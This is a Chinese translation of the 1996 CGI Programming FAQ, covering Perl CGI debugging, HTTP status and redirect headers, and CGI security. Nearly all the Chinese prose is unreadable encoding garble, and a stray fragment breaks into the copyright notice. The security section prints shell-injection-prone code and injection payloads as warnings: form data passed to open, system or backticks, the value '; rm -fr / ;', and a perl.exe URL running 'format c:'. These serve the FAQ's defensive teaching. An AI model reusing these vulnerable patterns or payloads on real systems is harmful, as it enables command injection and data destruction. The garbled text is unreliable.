³oÓ script ¤£·|¦b¥G±z¬O³z¹L GET¡BPOST¡A©Î ISINDEX ½Ð¨D¡A©ÎªÌ¬O¥Ñ«ü¥O¦C¡B ¼Ð·Ç¿é¤J¡A©Î¤å¦rÀɱN¸ê®Æ¶Ç°eµ¹¥¦¡C¬°¤F¤è«K°£¿ù¡A§ÚÌ´Nª½±µ±q«ü¥O¦C¶Ç¤@¨Ç ¸ê®Æµ¹¥¦§a¡G#!/usr/local/bin/perl -w use CGI; $cgi = new CGI; print $cgi->header; print $cgi->start_html("Simple CGI.pm Program"); print "<H1>Simple CGI.pm Program</H1>\n"; print "<HR >"; print '¥H¤U©Ò¦Cªº¬O±z¶Ç°eªº³]©wÈ¡G'; print $cgi->dump; exit 0;
¦b²Ä¤GÓ¨Ò¤l¤¤¡A¾ãÓ¦r¦ê©P³ò¥²¶·¥[¤Þ¸¹(")¡A§_«h shell ¬Ý¨ì ``&'' ³oӲЏ¹·|»~¸Ñ¡C¦n¡A±µ¤U¨Ó¬O±q¼Ð·Ç¿é¤J¨Ó°£¿ùªº¤èªk¡G% simple.cgi first=shishir last=gundavaram document='CGI\ FAQ'©Î% simple.cgi "first=shishir&last=gundavaram&document='CGI\ FAQ'"
·íµM¡A±z¤]¥i¥H¥ý¥Î¤@ÓÀɮרÓÀx¦s¸ê®Æ¡AµM«á¦A°µ¿é¤JÂà¦V¡A¹³³o¼Ë¡G% simple.cgi (waiting for standard input) first=shishir last=gundavaram document=CGI\ FAQ ^D
% simple.cgi < form.data
±z¤]¥i¥H¥Î CGI Lint ¡]§Y±N¥Xª©¡^¡C¥¦¯à¹F¨ì¬Û¦Pªº¥\®Ä¡C¥t¥~¡A¥¦¤]¯àÀ°¦£Àˬd ¦³µL¦w¥þ°ÝÃD¡A¤£·í¨Ï¥Î open()¡A¥H¤Î¤£¥¿½Tªº HTTP ¼ÐÀYµ¥¡C
±z¥i¥Hª½±µ¥h¥´¶}¸Ó CGI µ{¦¡ªº URL¡G
http://some.machine/cgi-bin/your_program.pl
±z¤]¥i¥H¦b¤å¥ó¤¤¨Ï¥Î³sµ²ªº¤è¦¡¡A¨Ò¦p¡G
<A HREF="http://some.machine/cgi-bin/your_program.pl">
n¸Õ¸Õ§ÚªºCGIµ{¦¡½Ð¦b³o¸ÌÂI¤@¤U</A>
³o¨Ç¤HÄæ¦ì§¹¥þªÅ¥Õ´N¥h°õ¦æ form ¬O¦]¬°¥Ļâ³oÓ form ªº URL Àx¦s°_¨Ó ¡iÀx¦s¨ì®ÑÅҸ̱¡jªºÃö«Y¡C·í¥L̤U¦¸¥s¥X³oÓ form ªº®ÉÔ¡A³oӽШD´N·|Åܦ¨ ¬O¤@ӪŪº GET ¡]¦Ó«D POST ©Î¶ñ¦³¸ê®Æªº GET¡^¡C
±z¥i¥H¥ýÀˬd©Ò¦³Äæ¦ì¤¤ªº¸ê®Æ¡A¦pªG¨ä¤¤¦³Äæ¦ì¯d¥Õªº¸Ü¡A±z¥i¥H°e¦^¤@Ó``No Content'' ªºª¬ºAÄÝ©Ê*¡C¥H¤U¬O¤@¨Ò(°²³]Ãö³s°}¦C %form ¤¤§t¦³±z form ªº¸ê ®Æ)¡G
¡iĶªÌ¡jª¬ºA½X 204 ªºÄݩʤw¥Ñ HTTP 0.9 ªº ``No Response'' Åܬ° HTTP 1.0 ©M HTTP 1.1 ¤¤ªº ``No Content'' ¤F¡C
$error = 0; foreach $value (values %form) { $value =~ s/\s//g; $error = 1 unless $value; } if ($error) { print "Content-type: text/plain\n"; print "Status: 204 No Content\n\n"; print '°£«D±zªºÂsÄý¾¹¤£¤ä´©ª¬ºA½X 204 ¡A§_«h±z¤£¸Ó¬Ý¨ì³o³¡¥÷' , "\n"; } else { # # Process Data Here # }
CGI µ{¦¡¥i¥H¶Ç°e server µM«á server ·|§â¥¦Âà°eµ¹ÂsÄý¾¹¡C¨Ò¦p¡G °²³]±z·Q°e ``No Content'' ¡]·N«ä¬O§i¶DÂsÄý¾¹¤£n¦A«·s¤U¸ü¸Óºô¶¡^¡A¨º»ò±z±o°e¤@Ó 204 ªº¦^À³½X¡]¨£¤W¨Ò¡^¡C
print "Location: http://host/page.html\n"
¤£ work¡H¤S¬°¤°»ò¥¦¥u work ¤@¦¸¡A¦ýÀH«áªºÂà¦V´N³£§Ë¿ù¤F©O¡H
CGI µ{¦¡¥u¯à°e¤@Ó Location ¼ÐÀY¡CÁÙ¦³¡A¦pªG±zn server °µÂà¦Vªº °Ê§@±z´N¤£¸Ó°e MIME Ãþ§O¡CÄ´¦p¡A¥H¤Uªº¨Ò¤l¬O¿ù»~ªº¥Ü½d¡A¾¨ºÞ¦b¦³¨Ç servers ¤W¦æªº³q¡G
#!/usr/local/bin/perl -w . . . print "Content-type: text/plain\n" print "Location: http://some.machine/some.doc\n\n"";
¦pªG±z¬O³z¹L CGI ¥H°ÊºA¤è¦¡¨Ó²£¥Í±zªº¤å¥ó¡A¨º»òn´¡¤J¤@Ӯɶ¡¼Ð°O«D±`² ³æ¡C¥H¤U¬O¤@¨Ò¡]¶È¾A¥Î©ó Perl 5¡^¡G
©ÎªÌ¬O¡G$last_updated = localtime; print '³Ìªñ§ó·s¤é´Á¡G ', "$last_updated\n";
¬Æ¦Ü¹³³o¼Ë¡Grequire "ctime.pl"; $last_updated = &ctime(time); print '³Ìªñ§ó·s¤é´Á¡G ', "$last_updated\n";
±z¥i¥H¥Î SSI ¨Ó¹F¨ì³oӮĪG¡A¹³³o¼Ë¡Gchop($date = `/usr/local/bin/date`); print '³Ìªñ§ó·s¤é´Á¡G ', "$last_updated\n";
<--#echo var="LAST_MODIFIED"-->
¨C¤@Ó»y¨¥³£¦³¨äªø³B©Mµu³B¡C¬Û«H³o¥y¸Ü±zÅ¥¹L«Ü¦h¦¸¤F¡C©Ò¥H¤@¤Á¥þ¬Ý±zn°µ ªº¬O¤°»ò¦Ó©w¡C¦pªG±z¹w´Á¥¿·Ç³Æ¼gªº CGI µ{¦¡¨CÓÄÁÀY·|¦³´X¤d´X¸U¤H¦¸³s¥h ¨Ï¥Î¡A¨º»ò±zÀ³¸Ó¿ï¥Î C ©Î C++¨Ó¼g¡C¦pªG±z¨D§Öªº¸Ü¡]«üµo®i©Òªá¶Oªº®É¶¡¦Ó¨¥¡^¡A ¨º»ò Perl ¬O¥¿½Tªº¿ï¾Ü¡I
¤@¯ë»¡¨Ó¡A±zÀ³Á×§K¥Î shell ¨Ó°µ¥ô¦ó§Î¦¡ªº CGI µ{¦¡³]p¡A¦]¬° shell ¦b¥ý ¤Ñ¤W®e©ö²£¥Í¦w¥þ°ÝÃD¡C
³oÓ°ÝÃDªºµª®×¬O¡G CGI µ{¦¡¥ý¤Ñ¤W´N¤£¦w¥þ¡A¤£ºÞ¥¦¬O¥Î¨ºÓ»y¨¥¼g¦¨ªº*¡C
¡iĶªÌ¡jWWW ¤Î CGI ¾Þ§@¦w¥þ FAQ ¤¤°ÝÃD²Ä 31 ¹ï¦¹¦³²`¤Jªº±´°Q¡C
µ´¹ï¤£n¹ï shell ¼ÉÅS¥ô¦ó form ¸ê®Æ¡C©³¤U³o´X¶µ³q³q³£¬O¦w¥þº|¬}¡G
open(COMMAND, "/usr/ucb/finger $form_user");
system("/usr/ucb/finger $form_user");
@data = `usr/ucb/finger $form_user`;
¸ÜÁö¦p¦¹¡A¦b¤W±ªº²Ä¤GºØ¼gªk¤¤¡A¨t²Î¦w¥þ¥iÂǵۧïÅܰѼƶǰeªº¤è¦¡¦Ó±o¥H§ï µ½¡C¤]´N¬O±N°Ñ¼Æ¥Ñ¦r¦ê¤è¦¡¶Ç°e ¡]shell ·|¥ý¸ÑĶ¡^¡A§ï¬°§Ç¦C¤è¦¡¶Ç°e¡C
system("/usr/ucb/finger", $form_user);
±z¦P®ÉÀ³¸Ó¾\Ū¡G
http://bigidiot.abuse-me.com/perl.exe?foo.pl
³o¼Ë«Ü¦MÀI¡H·|¦³¦hÁV¡H·¥«×¦MÀI¡I ·Q·Q¬Ý¦pªG§Ú³o»ò°µ·|µo¥Í¤°»ò¨Æ¡G
http://bigidiot.abuse-me.com/cgi-bin/perl.exe?-e+'format:%20c'
²{¦b±z¦P·N¤F§a¡HÁ×§K³oÓ´c¹Úµo¥Íªº¤èªk¡G
¥H¤U¬O¤@¨Ò¡C°²³]±zªº CGI script ¥s°µ ``sample.pl'' ¦Ó±zªº§å¦¸ÀÉ¥s ``simple.bat''¡G
²{¦b¡A±z¥i¥H°µ¡G@echo off c:\dos_perl\perl.exe c:\netscape\ns-home\docs\cgi-bin\simple.pl
<A HREF="/cgi-bin/simple.bat">Click Here</A>
@ans = `grep'$user_field' some.file`;
¬Oªº¡I ³o«D±`¦MÀI¡I¸Õ·Q¡A¦pªG $user_field §t¦³³o¼Ëªº¤º®e·|¦³¤°»ò«á ªG¡G
; rm -fr / ;
n¹F¨ì¬Û¦Pªº®ÄªG¡A¤@Ó¤ñ¸û¦w¥þªº°µªk¬O*¡G
if (open GREP, "-|") { @ans = <GREP>; } else { exec("/usr/local/bin/grep", $user_field, "some.file") || die "Error exec'ing command", "\n"; } close GREP;
¡iĶªÌ¡j ¦pªGŪªÌ¹ï¥H¤W open GREP, "-|"³¡¥÷ªº¥yªk¦³ºÃ°Ý¡A¥i¥H °Ñ¾\ perlipc manpages ¤¤ Safe Pipe Opens¤@¸`ªº»¡©ú¡C
/$user_variable/
³oÓ¥yªk¬O¤£¬O Perl 5 ¤¤ªº¤@Ó¦w¥þº|¬}¡H
¤£¡I³o¤£¬OÓ¦w¥þº|¬}¡C¦ý¬O¦pªG±z¥Î eval «ü¥O¦b°õ¦æ´Á (runtime) ¥h µû¦ô³oÓ±Ôz¡A¨º»ò¡A¥¦·|Åܦ¨¤@Ó¦w¥þ¦º¨¤¡C¨Ò¦p³oºØ°µªk¥i¯à«Ü¦MÀI¡G
foreach $regexp (@all_regexps) { eval "foreach (\@data) { push(\@matches, \$_) if m|$regexp|o; }"; }
This document, and all its parts, are Copyright (c) 1996, Shishir Gundavaram and Tom Christiansen. All rights reservered. Permisson to distribute this collection, in part or full, via electronic means (emailed, posted or archived) or printed copy are granted providing that no charges are involved, reasonable attempt is made to use the most current version, and all credits and copyright notices are retained. Requests for other distribution rights, including incorporation in commercial products, such as books, magazine articles, or CD-ROMs should be made to either of the authors.You are the¥»¤å¥óµÛ§@ÅvÄÝ©ó Shishir Gundavaram ¤Î Tom Christiansen ©Ò¦³¡ACopyright (C) 1996¡C¦b¤£¯A¤Î¦¬¶OÀç§Q¡B¾¨¥i¯à¦a¨Ï¥Î³Ì·sª©¡A¤Î©Ò¦³µÛ§@Åv§i¥Ü«O«ù§¹¾ã ªº±¡ªp¤U¡A§@ªÌ¤¹³\¥ô¦ó¤H³z¹L¹q¤l§Î¦¡¡]¹q¤l¶l¥ó¡B°Q½×¸s§G§i¡A©Î¦s©ñ¡^¡A©Î ¦Lªí¤è¦¡¹ï¥»¤å¥ó§@§¹¾ã©Î³¡¥÷µo¦æ¡C¦p±ý±N¥»¤å¥ó§@¨ä¥L¤è¦¡µo¦æ¡A¥]¬A±N¥»¤å ¥óªþ¥[©ó°Ó·~²£«~¡A½Ñ¦p®ÑÄy¡BÂø»x¤å³¹¡A©Î¥úºÐµ¥¤§¤¤¡A¥²¶·¨Æ¥ý¹ï¤G¦ì§@ªÌ¨ä ¤¤¤@¤H´£¥X½Ð¨D¡A¥H¼x±o³\¥i±ÂÅv¡C
¥»¤¤Ä¶ª©¤ÎĶªÌ¸É¥R³¡¥÷µÛ§@ÅvÄÝ¿½¦ÊÄ֤ΨⰦ¦Ñªê¤u§@«Ç©Ò¦³¡ACopyright (C) 1997¡C¥»¤¤Ä¶ª©¿í¦u¨Ã¨Ï¥Î»P¤Wzì¤åª©¬Û¦Pªº¨Ï¥Î±ø´Úµo¦æ¡C